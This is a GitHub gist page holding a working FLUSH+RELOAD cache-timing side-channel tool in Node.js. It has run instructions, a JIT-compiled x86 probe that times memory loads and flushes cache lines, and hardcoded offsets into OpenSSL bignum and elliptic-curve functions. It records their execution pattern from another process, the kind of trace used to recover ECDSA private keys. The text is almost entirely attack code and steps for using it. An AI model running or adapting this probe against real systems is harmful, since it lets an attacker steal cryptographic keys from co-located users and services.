Skip to content

Instantly share code, notes, and snippets.

@indutny
Last active November 4, 2015 17:29
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save indutny/5e9ca03298934761b54f to your computer and use it in GitHub Desktop.
Save indutny/5e9ca03298934761b54f to your computer and use it in GitHub Desktop.
FLUSH+RELOAD in node.js

How to run this

  1. Take any binary that has OpenSSL functions listed in collect.js
  2. Open lldb /path/to/binary
  3. Do disas -n function-name for each function in collect.js
  4. Choose some offset near the end of the function
  5. Subtract 0x1000000000 to get file offset
  6. Put the number in collect.js
  7. Run node collect.js /path/to/binary | node filter.js > log
  8. Let it run for some time to collect enough information
  9. Do something with the information

Log format

Just a sequence of 4-bit values. Possible bit values:

  • 0x8 - BN_mod_mul_montgomery
  • 0x4 - BN_uadd
  • 0x2 - ec_GFp_simple_add
  • 0x1 - ec_GFp_simple_dbl

Some zeroes may be preserved to get insights into the timing.

'use strict';
const fs = require('fs');
const mmap = require('mmap.js');
const jit = require('jit.js');
const Buffer = require('buffer').Buffer;
const THRESHOLD = 150;
const BUSY_ITER = 0x1000;
const probe = jit.compile(function() {
const busy = this.label();
const busy_loop = this.label();
const probe = this.label();
this.push('r12');
this.push('r15');
this.lea('r9', [ 'rip', 0xdeadbeef ]);
this.label(probe).use(4, -4, false);
const arg0 = 'r10';
const arg1 = 'r11';
const arg2 = 'r12';
const arg3 = 'r15';
this.mov(arg0, 'rdi');
this.mov(arg1, 'rsi');
this.mov(arg2, 'rdx');
this.mov(arg3, 'rcx');
// Probe 1
this.mov('rdi', arg0);
this.call('r9');
this.mov('r8', 'rax');
// Probe 2
this.mov('rdi', arg1);
this.call('r9');
this.shl('r8', 1);
this.or('r8', 'rax');
// Probe 3
this.mov('rdi', arg2);
this.call('r9');
this.shl('r8', 1);
this.or('r8', 'rax');
// Probe 4
this.mov('rdi', arg3);
this.call('r9');
this.shl('r8', 1);
this.or('r8', 'rax');
// Flush
this.mov('rdi', arg0);
this.mov('rsi', arg1);
this.mov('rdx', arg2);
this.mov('rcx', arg3);
this.clflush([ 'rdi' ]);
this.clflush([ 'rsi' ]);
this.clflush([ 'rdx' ]);
this.clflush([ 'rcx' ]);
// Busy loop
this.bind(busy);
this.mov('rcx', BUSY_ITER);
this.bind(busy_loop);
this.dec('rcx');
this.cmp('rcx', 0);
this.j('ne', busy_loop);
// Return whatever we have
this.pop('r12');
this.pop('r15');
this.movl('rax', 'r8');
this.and('rax', 0xf);
this.ret();
while (this.getOffset() % 8 !== 0)
this.nop();
//
// Probe routine
//
this.bind(probe);
this.mfence();
this.lfence();
this.rdtsc();
this.lfence();
// Save time
this.movl('rcx', 'rax');
// Load cell
this.movl('rdx', [ 'rdi' ]);
this.lfence();
// Measure time
this.rdtsc();
this.sub('rax', 'rcx');
this.cmp('rax', THRESHOLD);
// Return 1 if it is less than THRESHOLD
this.set('l', 'rax');
this.ret();
});
const fd = fs.openSync(process.argv[2], 'r');
const b = mmap.alloc(1024 * 1024 * 4, mmap.PROT_READ, mmap.MAP_PRIVATE, fd, 0);
// Pointer to the function ends
//
// BN_mod_mul_montgomery
const mul = jit.ptr(b.slice(0x5c6b0));
// BN_uadd
const add = jit.ptr(b.slice(0x54d89));
// ec_GFp_simple_add
const ec_add = jit.ptr(b.slice(0x8a731));
// ec_GFp_simple_dbl
const ec_dbl = jit.ptr(b.slice(0x8ae72));
while (true) {
let hi = probe(mul, add, ec_add, ec_dbl);
let lo = probe(mul, add, ec_add, ec_dbl);
process.stdout.write(String.fromCharCode((hi << 4) | lo));
}
'use strict';
const fs = require('fs');
const EMPTY_THRESHOLD = 0x20;
var empty = EMPTY_THRESHOLD;
process.stdin.on('data', function(data) {
for (var i = 0; i < data.length; i++) {
if (data[i] === 0)
empty++;
else
empty = 0;
if (empty >= EMPTY_THRESHOLD)
continue;
process.stdout.write(String.fromCharCode(data[i]));
}
});
{
"name": "flush-reload",
"dependencies": {
"jit.js": "*",
"mmap.js": "*"
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment